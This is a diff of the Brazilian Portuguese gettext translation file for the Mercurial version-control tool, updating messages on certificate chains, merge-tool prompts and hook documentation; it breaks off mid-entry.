 msgstr "mostra todos os detalhes"
 
+msgid "show only the named part type"
+msgstr "mostra apenas o tipo de parte nomeado"
+
 msgid "print the bundlespec of the bundle"
 msgstr "imprime o bundlespec de um bundle"
 
@@ -17384,14 +18736,8 @@
 msgid "available style:\n"
 msgstr "estilo disponível:\n"
 
-msgid "[COMMAND]"
-msgstr "[COMANDO]"
-
-msgid "show the command options"
-msgstr "exibe opções dos comandos"
-
-msgid "[-o] CMD"
-msgstr "[-o] CMD"
+msgid "(warning: stream clone bundle will contain secret revisions)\n"
+msgstr "(aviso: o bundle de clone por stream conterá revisões secretas)\n"
 
 #, python-format
 msgid "bundle requirements: %s\n"
@@ -17486,9 +18832,6 @@
 msgid "unknown bundle type specified with --type"
 msgstr "tipo de bundle especificado por --type desconhecido"
 
-msgid "no ignore patterns found"
-msgstr "nenhum padrão de arquivos ignorados encontrado"
-
 #, python-format
 msgid "%s is ignored\n"
 msgstr "%s é ignorado\n"
@@ -17665,6 +19008,9 @@
 msgid "display markers relevant to REV"
 msgstr "mostra marcações relevantes para REV"
 
+msgid "restrict display to markers only relevant to REV"
+msgstr "mostra apenas marcações relevantes para REV"
+
 msgid "display index of the marker"
 msgstr "exibe índice da marcação"
 
@@ -17702,6 +19048,15 @@
 msgid "FILESPEC..."
 msgstr "PADRÃOARQ..."
 
+msgid "check for files in this revision"
+msgstr "checa por arquivos nesta revisão"
+
+msgid "emulate merging change and delete"
+msgstr "emula mudança da mesclagem e apaga"
+
+msgid "[PATTERN]..."
+msgstr "[PADRÃO]..."
+
 msgid "REPO NAMESPACE [KEY OLD NEW]"
 msgstr "REPOSITÓRIO NAMESPACE [CHAVE ANTIGO NOVO]"
 
@@ -17734,9 +19089,6 @@
 msgid "revision to debug"
 msgstr "revisão a ser depurada"
 
-msgid "[-r REV] FILE"
-msgstr "[-r REV] ARQUIVO"
-
 #, python-format
 msgid "%s renamed from %s:%s\n"
 msgstr "%s renomeado de %s:%s\n"
@@ -17751,6 +19103,12 @@
 msgid "print parsed tree after optimizing (DEPRECATED)"
 msgstr "imprime a árvore de parsing após a otimização (OBSOLETO)"
 
+msgid "print list of result revisions (default)"
+msgstr "imprime uma lista das revisões resultantes (padrão)"
+
+msgid "print internal representation of result set"
+msgstr "imprime uma representação interna do conjunto de resultados"
+
 msgid "print parsed tree at the given stage"
 msgstr "imprime a árvore de parsing no estágio pedido"
 
@@ -17773,21 +19131,47 @@
 msgid "REV1 [REV2]"
 msgstr "REV1 [REV2]"
 
+msgid "certificate chain building is only possible on Windows"
+msgstr "a construção da cadeia de certificados só é possível em Windows"
+
+msgid "there is no Mercurial repository here, and no server specified"
+msgstr ""
+"não há um repositório do Mercurial aqui, e um servidor não foi especificado"
+
+msgid "only https and ssh connections are supported"
+msgstr "apenas conexões https e ssh são suportadas"
+
+#, python-format
+msgid "checking the certificate chain for %s\n"
+msgstr "checando a cadeia de certificados para %s\n"
+
+msgid "certificate chain is incomplete, updating... "
+msgstr "a cadeia de certificados está incompleta, atualizando... "
+
+msgid "failed.\n"
+msgstr "falhou.\n"
+
+msgid "done.\n"
+msgstr "feito.\n"
+
+msgid "full certificate chain is available\n"
+msgstr "a cadeia de certificados completa está disponível\n"
+
 msgid "revision to check"
 msgstr "revisão para verificar"
 
 msgid "[-r REV] [REV]"
 msgstr "[-r REV] [REV]"
 
+msgid "return closest successors sets only"
+msgstr "devolve apenas os conjuntos de sucessores mais próximos"
+
 msgid "[REV]"
 msgstr "[REV]"
 
 msgid "apply template on changesets"
 msgstr "aplica o modelo nas revisões"
 
-msgid "KEY=VALUE"
-msgstr "CHAVE=VALOR"
-
 msgid "define template keyword"
 msgstr "define uma palavra chave do modelo"
 
@@ -17924,6 +19308,10 @@
 msgstr "(um commit reabrirá o ramo \"%s\")\n"
 
 #, python-format
+msgid "updated to \"%s: %s\"\n"
+msgstr "atualizando para \"%s: %s\"\n"
+
+#, python-format
 msgid "%i other heads for branch \"%s\"\n"
 msgstr "%i outras cabeças no ramo \"%s\"\n"
 
@@ -17946,12 +19334,12 @@
 msgstr "definir %r para outro pai é permitido apenas em mesclagens"
 
 #, python-format
-msgid "can't close already inactivated backup: dirstate%s"
-msgstr "não é possível fechar um backup já desativado: dirstate%s"
-
-#, python-format
-msgid "can't release already inactivated backup: dirstate%s"
-msgstr "não é possível liberar um backup já desativado: dirstate%s"
+msgid "can't close already inactivated backup: %s"
+msgstr "não é possível fechar um backup já desativado: %s"
+
+#, python-format
+msgid "can't release already inactivated backup: %s"
+msgstr "não é possível liberar um backup já desativado: %s"
 
 #, python-format
 msgid "push creates new remote branches: %s!"
@@ -18035,6 +19423,17 @@
 msgid "(%s)\n"
 msgstr "(%s)\n"
 
+#, python-format
+msgid "** ProgrammingError: %s\n"
+msgstr "** ProgrammingError: %s\n"
+
+#, python-format
+msgid "** (%s)\n"
+msgstr "** (%s)\n"
+
+msgid "killed!\n"
+msgstr "morto!\n"
+
 msgid "interrupted!\n"
 msgstr "interrompido!\n"
 
@@ -18403,6 +19802,10 @@
 "desabilitando)\n"
 
 #, python-format
+msgid "*** failed to set up extension %s: %s\n"
+msgstr "*** falha ao preparar a extensão %s: %s\n"
+
+#, python-format
 msgid "*** failed to import extension %s from %s: %s\n"
 msgstr "*** falha ao importar a extensão %s de %s: %s\n"
 
@@ -18410,6 +19813,10 @@
 msgid "*** failed to import extension %s: %s\n"
 msgstr "*** falha ao importar a extensão %s: %s\n"
 
+#, python-format
+msgid "*** (%s)\n"
+msgstr "*** (%s)\n"
+
 msgid "(no help text available)"
 msgstr "(texto de ajuda não disponível)"
 
@@ -18422,6 +19829,26 @@
 msgstr "valor %r inválido para a opção %s, int esperado"
 
 #, python-format
+msgid ""
+"local%(l)s changed %(fd)s which other%(o)s deleted\n"
+"use (c)hanged version, (d)elete, or leave (u)nresolved?$$ &Changed $$ &Delete $$ &Unresolved"
+msgstr ""
+"local%(l)s alterou %(fd)s, que a outra%(o)s removeu\n"
+"use (c) a versão alterada, (d) apague ou (u) deixe não resolvida?$$ (&C) alterada $$ (&D) apague $$ (&U) não resolvida"
+
+#, python-format
+msgid ""
+"other%(o)s changed %(fd)s which local%(l)s deleted\n"
+"use (c)hanged version, leave (d)eleted, or leave (u)nresolved?$$ &Changed $$ &Deleted $$ &Unresolved"
+msgstr ""
+"a outra%(o)s mudou %(fd)s, apagada pela local%(l)s\n"
+"use (c) a versão alterada, (d) deixe apagada ou (u) deixe não resolvida?$$ (&C) alterada $$ (&D) deixe apagada $$ (&U) deixe não resolvida"
+
+#, python-format
+msgid "%s (for pattern %s)"
+msgstr "%s (para o padrão %s)"
+
+#, python-format
 msgid "couldn't find merge tool %s\n"
 msgstr "não foi possível encontrar ferramenta de mesclagem %s\n"
 
@@ -18437,6 +19864,10 @@
 msgid "tool %s requires a GUI\n"
 msgstr "a ferramenta %s requer uma interface gráfica (GUI)\n"
 
+#, python-format
+msgid "no tool found to merge %s\n"
+msgstr "nenhuma ferramenta encontrada para mesclar %s\n"
+
 msgid ""
 "``:prompt``\n"
 "Asks the user which of the local `p1()` or the other `p2()` version to\n"
@@ -18448,27 +19879,11 @@
 
 #, python-format
 msgid ""
-"local%(l)s changed %(fd)s which other%(o)s deleted\n"
-"use (c)hanged version, (d)elete, or leave (u)nresolved?$$ &Changed $$ &Delete $$ &Unresolved"
-msgstr ""
-"local%(l)s alterou %(fd)s, que a outra%(o)s removeu\n"
-"use (c) a versão alterada, (d) apague ou (u) deixe não resolvida?$$ (&C) alterada $$ (&D) apague $$ (&U) não resolvida"
-
-#, python-format
-msgid ""
-"other%(o)s changed %(fd)s which local%(l)s deleted\n"
-"use (c)hanged version, leave (d)eleted, or leave (u)nresolved?$$ &Changed $$ &Deleted $$ &Unresolved"
-msgstr ""
-"a outra%(o)s mudou %(fd)s, apagada pela local%(l)s\n"
-"use (c) a versão alterada, (d) deixe apagada ou (u) deixe não resolvida?$$ (&C) alterada $$ (&D) deixe apagada $$ (&U) deixe não resolvida"
-
-#, python-format
-msgid ""
-"no tool found to merge %(fd)s\n"
-"keep (l)ocal%(l)s, take (o)ther%(o)s, or leave (u)nresolved?$$ &Local $$ &Other $$ &Unresolved"
-msgstr ""
-"nenhuma ferramenta encontrada para mesclar %(fd)s\n"
-"manter o arquivo (l)ocal%(l)s, usar o (o)utro%(o)s ou (u) deixar não resolvido? ?$$ &Local $$ &Outro $$ (&U) não resolvido"
+"keep (l)ocal%(l)s, take (o)ther%(o)s, or leave (u)nresolved for %(fd)s?$$ "
+"&Local $$ &Other $$ &Unresolved"
+msgstr ""
+"manter o arquivo (l)ocal%(l)s, usar o (o)utro%(o)s ou (u) deixar não resolvido para %(fd)s\n"
+"? ?$$ &Local $$ &Outro $$ (&U) não resolvido"
 
 msgid ""
 "``:local``\n"
@@ -18607,6 +20022,21 @@
 "    ``a.txt.local``, ``a.txt.other`` e ``a.txt.base`` e serão colocados\n"
 "    no mesmo diretório de ``a.txt``."
 
+msgid ""
+"    This implies permerge. Therefore, files aren't dumped, if premerge\n"
+"    runs successfully. Use :forcedump to forcibly write files out."
+msgstr ""
+"    Isto implica premerge. Portanto, se o premerge executar com\n"
+"    sucesso, os arquivos não serão escritos. Use :forcedump para\n"
+"    forçar a escrita dos arquivos."
+
+msgid ""
+"``:forcedump``\n"
+"Creates three versions of the files as same as :dump, but omits premerge."
+msgstr ""
+"``:forcedump``\n"
+"Cria três versões dos arquivos como em :dump, mas omite o premerge."
+
 #, python-format
 msgid "warning: %s cannot merge change/delete conflict for %s\n"
 msgstr "aviso: %s não pode mesclar o conflito entre mudança e remoção para %s\n"
@@ -19549,14 +20979,16 @@
 "  The default pager on Windows does not support color, so enabling the pager\n"
 "  will effectively disable color.  See :hg:`help config.ui.paginate` to disable\n"
 "  the pager.  Alternately, MSYS and Cygwin shells provide `less` as a pager,\n"
-"  which can be configured to support ANSI color mode."
+"  which can be configured to support ANSI color mode.  Windows 10 natively\n"
+"  supports ANSI color mode."
 msgstr ""
 "  O paginador padrão do Windows não suporta coloração, de modo\n"
 "  que habilitar o paginador efetivamente desabilitará a coloração.\n"
 "  Veja :hg:`help config.ui.paginate` para desabilitar o paginador.\n"
 "  Alternativamente, os shells do MSYS e Cygwin fornecem o comando\n"
 "  `less` como paginador, que pode ser configurado para suportar\n"
-"  modo de coloração ANSI."
+"  modo de coloração ANSI.\n"
+"  O Windows 10 suporta modo de coloração ANSI nativamente."
 
 msgid ""
 "Mode\n"
@@ -20719,14 +22151,15 @@
 "``mode``\n"
 "    String: control the method used to output color. One of ``auto``, ``ansi``,\n"
 "    ``win32``, ``terminfo`` or ``debug``. In auto mode, Mercurial will\n"
-"    use ANSI mode by default (or win32 mode on Windows) if it detects a\n"
+"    use ANSI mode by default (or win32 mode prior to Windows 10) if it detects a\n"
 "    terminal. Any invalid value will disable color."
 msgstr ""
 "``mode``\n"
 "    String: controla o método usado para gerar cores.\n"
 "    Um dentre ``auto``, ``ansi``, ``win32``, ``terminfo`` ou ``debug``.\n"
 "    Em modo auto, o Mercurial usará por padrão modo ANSI, ou win32\n"
-"    em Windows, se detectar um terminal.\n"
+"    em versões do Windows anteriores ao Windows 10,\n"
+"    se detectar um terminal.\n"
 "    Qualquer valor inválido desabilitará a coloração."
 
 msgid ""
@@ -20762,13 +22195,6 @@
 "    suportar um modo de coloração diferente do programa paginador."
 
 msgid ""
-"``commands``\n"
-"------------"
-msgstr ""
-"``commands``\n"
-"------------"
-
-msgid ""
 "``status.relative``\n"
 "    Make paths in :hg:`status` output relative to the current directory.\n"
 "    (default: False)"
@@ -21660,10 +23086,10 @@
 msgid ""
 "Most hooks are run with environment variables set that give useful\n"
 "additional information. For each hook below, the environment variables\n"
-"it is passed are listed with names of the form ``$HG_foo``. The\n"
+"it is passed are listed with names in the form ``$HG_foo``. The\n"
 "``$HG_HOOKTYPE`` and ``$HG_HOOKNAME`` variables are set for all hooks.\n"
-"their respectively contains the type of hook which triggered the run and\n"
-"the full name of the hooks in the config. In the example about this will\n"
+"They contain the type of hook which triggered the run and the full name\n"
+"of the hook in the config, respectively. In the example above, this will\n"
 "be ``$HG_HOOKTYPE=incoming`` and ``$HG_HOOKNAME=incoming.email``."
 msgstr ""
 "Vários ganchos são executados com variáveis de ambiente que fornecem\n"
@@ -21678,9 +23104,9 @@
 
 msgid ""
 "``changegroup``\n"
-"  Run after a changegroup has been added via push, pull or unbundle.  ID of the\n"
-"  first new changeset is in ``$HG_NODE`` and last in ``$HG_NODE_LAST``. URL\n"
-"  from which changes came is in ``$HG_URL``."
+"  Run after a changegroup has been added via push, pull or unbundle.  The ID of\n"
+"  the first new changeset is in ``$HG_NODE`` and last is in ``$HG_NODE_LAST``.\n"
+"  The URL from which changes came is in ``$HG_URL``."
 msgstr ""
 "``changegroup``\n"
 "  Executado após um changegroup ser adicionado em operações push, pull\n"
@@ -21691,7 +23117,7 @@
 
 msgid ""
 "``commit``\n"
-"  Run after a changeset has been created in the local repository. ID\n"
+"  Run after a changeset has been created in the local repository. The ID\n"
 "  of the newly created changeset is in ``$HG_NODE``. Parent changeset\n"
 "  IDs are in ``$HG_PARENT1`` and ``$HG_PARENT2``."
 msgstr ""
@@ -21704,7 +23130,7 @@
 "``incoming``\n"
 "  Run after a changeset has been pulled, pushed, or unbundled into\n"
 "  the local repository. The ID of the newly arrived changeset is in\n"
-"  ``$HG_NODE``. URL that was source of changes came is in ``$HG_URL``."
+"  ``$HG_NODE``. The URL that was source of the changes is in ``$HG_URL``."
 msgstr ""
 "``incoming``\n"
 "  Executado após uma revisão ser trazida para o repositório local em\n"
@@ -21714,14 +23140,14 @@
 
 msgid ""
 "``outgoing``\n"
-"  Run after sending changes from local repository to another. ID of\n"
-"  first changeset sent is in ``$HG_NODE``. Source of operation is in\n"
-"  ``$HG_SOURCE``; Also see :hg:`help config.hooks.preoutgoing` hook."
+"  Run after sending changes from the local repository to another. The ID of\n"
+"  first changeset sent is in ``$HG_NODE``. The source of operation is in\n"
+"  ``$HG_SOURCE``. Also see :hg:`help config.hooks.preoutgoing`."
 msgstr ""
 "``outgoing``\n"
 "  Executado após o envio de mudanças do repositório local para algum outro.\n"
 "  O ID da primeira revisão enviada é passado em ``$HG_NODE``.\n"
-"  A origem da operação é passada em ``$HG_SOURCE``; veja também\n"
+"  A origem da operação é passada em ``$HG_SOURCE``. Veja também\n"
 "  hg:`help config.hooks.preoutgoing`."
 
 msgid ""
@@ -21790,58 +23216,58 @@
 msgid ""
 "``prechangegroup``\n"
 "  Run before a changegroup is added via push, pull or unbundle. Exit\n"
-"  status 0 allows the changegroup to proceed. Non-zero status will\n"
-"  cause the push, pull or unbundle to fail. URL from which changes\n"
+"  status 0 allows the changegroup to proceed. A non-zero status will\n"
+"  cause the push, pull or unbundle to fail. The URL from which changes\n"
 "  will come is in ``$HG_URL``."
 msgstr ""
 "``prechangegroup``\n"
 "  Executado antes de um changegroup ser adicionado em operações\n"
 "  push, pull ou unbundle. O status de saída 0 permite que o\n"
-"  changegroup seja processado. Status diferentes de zero farão com\n"
+"  changegroup seja processado. Um status diferente de zero fará com\n"
 "  que a operação push, pull ou unbundle falhe.\n"
 "  A URL de origem das mudanças é passada em ``$HG_URL``."
 
 msgid ""
 "``precommit``\n"
 "  Run before starting a local commit. Exit status 0 allows the\n"
-"  commit to proceed. Non-zero status will cause the commit to fail.\n"
+"  commit to proceed. A non-zero status will cause the commit to fail.\n"
 "  Parent changeset IDs are in ``$HG_PARENT1`` and ``$HG_PARENT2``."
 msgstr ""
 "``precommit``\n"
 "  Executado antes de iniciar um commit local. O status de saída 0\n"
-"  permite que o commit seja realizado. Status diferentes de zero\n"
-"  fazem com que o commit falhe.\n"
+"  permite que o commit seja realizado. Um status diferente de zero\n"
+"  fará com que o commit falhe.\n"
 "  Os IDs das revisões pais são passados em ``$HG_PARENT1`` e ``$HG_PARENT2``."
 
 msgid ""
 "``prelistkeys``\n"
 "  Run before listing pushkeys (like bookmarks) in the\n"
-"  repository. Non-zero status will cause failure. The key namespace is\n"
+"  repository. A non-zero status will cause failure. The key namespace is\n"
 "  in ``$HG_NAMESPACE``."
 msgstr ""
 "``prelistkeys``\n"
 "  Executado antes de listar pushkeys (como marcadores) do repositório.\n"
-"  Status de saída diferente de zero causará uma falha.\n"
+"  Um status de saída diferente de zero causará uma falha.\n"
 "  O espaço de nomes de chave é passado em ``$HG_NAMESPACE``."
 
 msgid ""
 "``preoutgoing``\n"
 "  Run before collecting changes to send from the local repository to\n"
-"  another. Non-zero status will cause failure. This lets you prevent\n"
-"  pull over HTTP or SSH. Also prevents against local pull, push\n"
-"  (outbound) or bundle commands, but not effective, since you can\n"
-"  just copy files instead then. Source of operation is in\n"
-"  ``$HG_SOURCE``. If \"serve\", operation is happening on behalf of remote\n"
-"  SSH or HTTP repository. If \"push\", \"pull\" or \"bundle\", operation\n"
-"  is happening on behalf of repository on same system."
+"  another. A non-zero status will cause failure. This lets you prevent\n"
+"  pull over HTTP or SSH. It can also prevent propagating commits (via\n"
+"  local pull, push (outbound) or bundle commands), but not completely,\n"
+"  since you can just copy files instead. The source of operation is in\n"
+"  ``$HG_SOURCE``. If \"serve\", the operation is happening on behalf of a remote\n"
+"  SSH or HTTP repository. If \"push\", \"pull\" or \"bundle\", the operation\n"
+"  is happening on behalf of a repository on same system."
 msgstr ""
 "``preoutgoing``\n"
 "  Executado antes da coleta de mudanças a serem enviadas do\n"
-"  repositório local para algum outro. Status de saída diferentes\n"
-"  de zero causarão uma falha. Desta forma, você pode impedir\n"
+"  repositório local para algum outro. Um status de saída diferente\n"
+"  de zero causará uma falha. Desta forma, você pode impedir\n"
 "  operações pull por HTTP ou SSH. Também previne comandos pull, push\n"
 "  (de saída) ou bundle locais, embora esta prevenção não seja\n"
-"  efetiva, já que os arquivos locais ainda poderão ser copiados.\n"
+"  completa, já que os arquivos locais ainda poderão ser copiados.\n"
 "  A operação de origem é passada em ``$HG_SOURCE``. Se esta tiver\n"
 "  o valor \"serve\", a operação ocorre através de SSH ou HTTP\n"
 "  envolvendo um repositório remoto. Se tiver os valores \"push\",\n"
@@ -21851,14 +23277,14 @@
 msgid ""
 "``prepushkey``\n"
 "  Run before a pushkey (like a bookmark) is added to the\n"
-"  repository. Non-zero status will cause the key to be rejected. The\n"
+"  repository. A non-zero status will cause the key to be rejected. The\n"
 "  key namespace is in ``$HG_NAMESPACE``, the key is in ``$HG_KEY``,\n"
 "  the old value (if any) is in ``$HG_OLD``, and the new value is in\n"
 "  ``$HG_NEW``."
 msgstr ""
 "``prepushkey``\n"
 "  Executado antes de uma pushkey (como um marcador) ser adicionada ao\n"
-"  repositório. Status de saída diferentes de zero farão com que a\n"
+"  repositório. Um status de saída diferente de zero fará com que a\n"
 "  chave seja rejeitada. O espaço de nomes de chave é passado em\n"
 "  ``$HG_NAMESPACE``, a chave é passada em ``$HG_KEY``, o valor antigo\n"
 "  (se houver) é passado em ``$HG_OLD``, e o novo valor é passado em\n"
@@ -21867,14 +23293,14 @@
 msgid ""
 "``pretag``\n"
 "  Run before creating a tag. Exit status 0 allows the tag to be\n"
-"  created. Non-zero status will cause the tag to fail. ID of\n"
-"  changeset to tag is in ``$HG_NODE``. Name of tag is in ``$HG_TAG``. Tag is\n"
-"  local if ``$HG_LOCAL=1``, in repository if ``$HG_LOCAL=0``."
+"  created. A non-zero status will cause the tag to fail. The ID of the\n"
+"  changeset to tag is in ``$HG_NODE``. The name of tag is in ``$HG_TAG``. The\n"
+"  tag is local if ``$HG_LOCAL=1``, or in the repository if ``$HG_LOCAL=0``."
 msgstr ""
 "``pretag``\n"
 "  Executado antes da criação de uma etiqueta. O status de saída 0\n"
-"  permite que a etiqueta seja criada. Status de saída diferentes de 0\n"
-"  causarão uma falha do comando. O ID da revisão a ser etiquetada é\n"
+"  permite que a etiqueta seja criada. Um status de saída diferente de 0\n"
+"  causará uma falha do comando. O ID da revisão a ser etiquetada é\n"
 "  passado em ``$HG_NODE``. O nome da etiqueta é passado em ``$HG_TAG``.\n"
 "  Uma etiqueta local é indicada por ``$HG_LOCAL=1``; uma global, por\n"
 "  ``$HG_LOCAL=0``."
@@ -21882,13 +23308,13 @@
 msgid ""
 "``pretxnopen``\n"
 "  Run before any new repository transaction is open. The reason for the\n"
-"  transaction will be in ``$HG_TXNNAME`` and a unique identifier for the\n"
+"  transaction will be in ``$HG_TXNNAME``, and a unique identifier for the\n"
 "  transaction will be in ``HG_TXNID``. A non-zero status will prevent the\n"
 "  transaction from being opened."
 msgstr ""
 "``pretxnopen``\n"
 "  Executado antes da abertura de qualquer transação no repositório.\n"
-"  A razão da transação será passada em ``$HG_TXNNAME`` e um\n"
+"  A razão da transação será passada em ``$HG_TXNNAME``, e um\n"
 "  identificador único para a transação será passado em ``HG_TXNID``.\n"
 "  Um status de saída diferente de zero impedirá a abertura da\n"
 "  transação."
@@ -21897,14 +23323,15 @@
 "``pretxnclose``\n"
 "  Run right before the transaction is actually finalized. Any repository change\n"
 "  will be visible to the hook program. This lets you validate the transaction\n"
-"  content or change it. Exit status 0 allows the commit to proceed. Non-zero\n"
+"  content or change it. Exit status 0 allows the commit to proceed. A non-zero\n"
 "  status will cause the transaction to be rolled back. The reason for the\n"
-"  transaction opening will be in ``$HG_TXNNAME`` and a unique identifier for\n"
+"  transaction opening will be in ``$HG_TXNNAME``, and a unique identifier for\n"
 "  the transaction will be in ``HG_TXNID``. The rest of the available data will\n"
-"  vary according the transaction type. New changesets will add ``$HG_NODE`` (id\n"
-"  of the first added changeset), ``$HG_NODE_LAST`` (id of the last added\n"
-"  changeset), ``$HG_URL`` and ``$HG_SOURCE`` variables, bookmarks and phases\n"
-"  changes will set ``HG_BOOKMARK_MOVED`` and ``HG_PHASES_MOVED`` to ``1``, etc."
+"  vary according the transaction type. New changesets will add ``$HG_NODE``\n"
+"  (the ID of the first added changeset), ``$HG_NODE_LAST`` (the ID of the last\n"
+"  added changeset), ``$HG_URL`` and ``$HG_SOURCE`` variables.  Bookmark and\n"
+"  phase changes will set ``HG_BOOKMARK_MOVED`` and ``HG_PHASES_MOVED`` to ``1``\n"
+"  respectively, etc."
 msgstr ""
 "``pretxnclose``\n"
 "  Executado imediatamente antes de a transação ser finalizada.\n"
@@ -21917,15 +23344,15 @@
 "  Outros dados estarão disponíveis dependendo do tipo da transação.\n"
 "  Novas revisões adicionarão ``$HG_NODE`` (id da primeira revisão\n"
 "  adicionada), ``$HG_NODE_LAST`` (id da última revisão adicionada),\n"
-"  ``$HG_URL`` e ``$HG_SOURCE``, mudanças de marcadores\n"
+"  ``$HG_URL`` e ``$HG_SOURCE``. Mudanças de marcadores\n"
 "  e fases definirão ``HG_BOOKMARK_MOVED`` e ``HG_PHASES_MOVED`` como\n"
-"  ``1``, etc."
+"  ``1`` respectivamente, etc."
 
 msgid ""
 "``txnclose``\n"
 "  Run after any repository transaction has been committed. At this\n"
 "  point, the transaction can no longer be rolled back. The hook will run\n"
-"  after the lock is released. See :hg:`help config.hooks.pretxnclose` docs for\n"
+"  after the lock is released. See :hg:`help config.hooks.pretxnclose` for\n"
 "  details about available variables."
 msgstr ""
 "``txnclose``\n"
@@ -21938,7 +23365,7 @@
 msgid ""
 "``txnabort``\n"
 "  Run when a transaction is aborted. See :hg:`help config.hooks.pretxnclose`\n"
-"  docs for details about available variables."
+"  for details about available variables."
 msgstr ""
 "``txnabort``\n"
 "  Executado quando uma transação for abortada.\n"
@@ -21948,12 +23375,12 @@
 msgid ""
 "``pretxnchangegroup``\n"
 "  Run after a changegroup has been added via push, pull or unbundle, but before\n"
-"  the transaction has been committed. Changegroup is visible to hook program.\n"
-"  This lets you validate incoming changes before accepting them. Passed the ID\n"
-"  of the first new changeset in ``$HG_NODE`` and last in ``$HG_NODE_LAST``.\n"
-"  Exit status 0 allows the transaction to commit. Non-zero status will cause\n"
-"  the transaction to be rolled back and the push, pull or unbundle will fail.\n"
-"  URL that was source of changes is in ``$HG_URL``."
+"  the transaction has been committed. The changegroup is visible to the hook\n"
+"  program. This allows validation of incoming changes before accepting them.\n"
+"  The ID of the first new changeset is in ``$HG_NODE`` and last is in\n"
+"  ``$HG_NODE_LAST``. Exit status 0 allows the transaction to commit. A non-zero\n"
+"  status will cause the transaction to be rolled back, and the push, pull or\n"
+"  unbundle will fail. The URL that was the source of changes is in ``$HG_URL``."
 msgstr ""
 "``pretxnchangegroup``\n"
 "  Executado após um changegroup ser adicionado em uma operação\n"
@@ -21962,41 +23389,41 @@
 "  Isto permite que as novas mudanças sejam validadas antes de serem\n"
 "  aceitas. O ID da primeira nova revisão é passado em ``$HG_NODE``\n"
 "  e o da última em ``$HG_NODE_LAST``.\n"
-"  O status de saída 0 permite que a transação seja completada. Status\n"
-"  de saída diferentes de 0 farão com que a transação seja desfeita,\n"
+"  O status de saída 0 permite que a transação seja completada. Um status\n"
+"  de saída diferente de 0 fará com que a transação seja desfeita,\n"
 "  e a operação push, pull ou unbundle falhará.\n"
 "  A URL de origem das revisões é passada em ``$HG_URL``."
 
 msgid ""
 "``pretxncommit``\n"
-"  Run after a changeset has been created but the transaction not yet\n"
-"  committed. Changeset is visible to hook program. This lets you\n"
-"  validate commit message and changes. Exit status 0 allows the\n"
-"  commit to proceed. Non-zero status will cause the transaction to\n"
-"  be rolled back. ID of changeset is in ``$HG_NODE``. Parent changeset\n"
-"  IDs are in ``$HG_PARENT1`` and ``$HG_PARENT2``."
+"  Run after a changeset has been created, but before the transaction is\n"
+"  committed. The changeset is visible to the hook program. This allows\n"
+"  validation of the commit message and changes. Exit status 0 allows the\n"
+"  commit to proceed. A non-zero status will cause the transaction to\n"
+"  be rolled back. The ID of the new changeset is in ``$HG_NODE``. The parent\n"
+"  changeset IDs are in ``$HG_PARENT1`` and ``$HG_PARENT2``."
 msgstr ""
 "``pretxncommit``\n"
 "  Executado após uma revisão ser criada mas antes da transação ser\n"
 "  completada. A revisão é visível para o programa do gancho.\n"
 "  Isto permite que as novas mudanças e a mensagem de consolidação\n"
 "  sejam validadas.\n"
-"  O status de saída 0 permite que a transação seja completada. Status\n"
-"  de saída diferentes de 0 farão com que a transação seja desfeita.\n"
+"  O status de saída 0 permite que a transação seja completada. Um status\n"
+"  de saída diferente de 0 fará com que a transação seja desfeita.\n"
 "  O ID da revisão é passado em ``$HG_NODE``.\n"
 "  Os IDs das revisões pais são passados em ``$HG_PARENT1`` e ``$HG_PARENT2``."
 
 msgid ""
 "``preupdate``\n"
 "  Run before updating the working directory. Exit status 0 allows\n"
-"  the update to proceed. Non-zero status will prevent the update.\n"
-"  Changeset ID of first new parent is in ``$HG_PARENT1``. If merge, ID\n"
-"  of second new parent is in ``$HG_PARENT2``."
+"  the update to proceed. A non-zero status will prevent the update.\n"
+"  The changeset ID of first new parent is in ``$HG_PARENT1``. If updating to a\n"
+"  merge, the ID of second new parent is in ``$HG_PARENT2``."
 msgstr ""
 "``preupdate``\n"
 "  Executado antes de uma atualização do diretório de trabalho.\n"
-"  O status de saída 0 permitirá a atualização. Status de saída\n"
-"  diferentes de 0 impedirão a atualização.\n"
+"  O status de saída 0 permitirá a atualização. Um status de saída\n"
+"  diferente de 0 impedirá a atualização.\n"
 "  O ID de revisão do novo primeiro pai é passado em ``$HG_PARENT1``.\n"
 "  No caso de uma mesclagem, o ID do novo segundo pai será passado\n"
 "  em ``$HG_PARENT2``."
@@ -22027,9 +23454,9 @@
 
 msgid ""
 "``tag``\n"
-"  Run after a tag is created. ID of tagged changeset is in ``$HG_NODE``.\n"
-"  Name of tag is in ``$HG_TAG``. Tag is local if ``$HG_LOCAL=1``, in\n"
-"  repository if ``$HG_LOCAL=0``."
+"  Run after a tag is created. The ID of the tagged changeset is in ``$HG_NODE``.\n"
+"  The name of tag is in ``$HG_TAG``. The tag is local if ``$HG_LOCAL=1``, or in\n"
+"  the repository if ``$HG_LOCAL=0``."
 msgstr ""
 "``tag``\n"
 "  Executado após a criação de uma etiqueta. O ID da revisão etiquetada é\n"
@@ -22039,22 +23466,23 @@
 
 msgid ""
 "``update``\n"
-"  Run after updating the working directory. Changeset ID of first\n"
-"  new parent is in ``$HG_PARENT1``. If merge, ID of second new parent is\n"
-"  in ``$HG_PARENT2``. If the update succeeded, ``$HG_ERROR=0``. If the\n"
-"  update failed (e.g. because conflicts not resolved), ``$HG_ERROR=1``."
+"  Run after updating the working directory. The changeset ID of first\n"
+"  new parent is in ``$HG_PARENT1``. If updating to a merge, the ID of second new\n"
+"  parent is in ``$HG_PARENT2``. If the update succeeded, ``$HG_ERROR=0``. If the\n"
+"  update failed (e.g. because conflicts were not resolved), ``$HG_ERROR=1``."
 msgstr ""
 "``update``\n"
 "  Executado após uma atualização do diretório de trabalho.\n"
 "  O ID de revisão do novo primeiro pai é passado em ``$HG_PARENT1``.\n"
-"  No caso de uma mesclagem, o ID do novo segundo pai será passado\n"
-"  em ``$HG_PARENT2``. Se a atualização tiver sucesso, ``$HG_ERROR=0``.\n"
+"  No caso de atualização para uma mesclagem, o ID do novo segundo\n"
+"  pai será passado em ``$HG_PARENT2``.\n"
+"  Se a atualização tiver sucesso, ``$HG_ERROR=0``.\n"
 "  Se a atualização falhar (por exemplo, por apresentar conflitos não\n"
 "  resolvidos), ``$HG_ERROR=1``."
 
 msgid ""
 "   It is generally better to use standard hooks rather than the\n"
-"   generic pre- and post- command hooks as they are guaranteed to be\n"
+"   generic pre- and post- command hooks, as they are guaranteed to be\n"
 "   called in the appropriate contexts for influencing transactions.\n"
 "   Also, hooks like \"commit\" will be called in all contexts that\n"
 "   generate a commit (e.g. tag) and not just the commit command."
@@ -22278,13 +23706,16 @@
 "``fingerprints``\n"
 "    A list of hashes of the DER encoded peer/remote certificate. Values have\n"
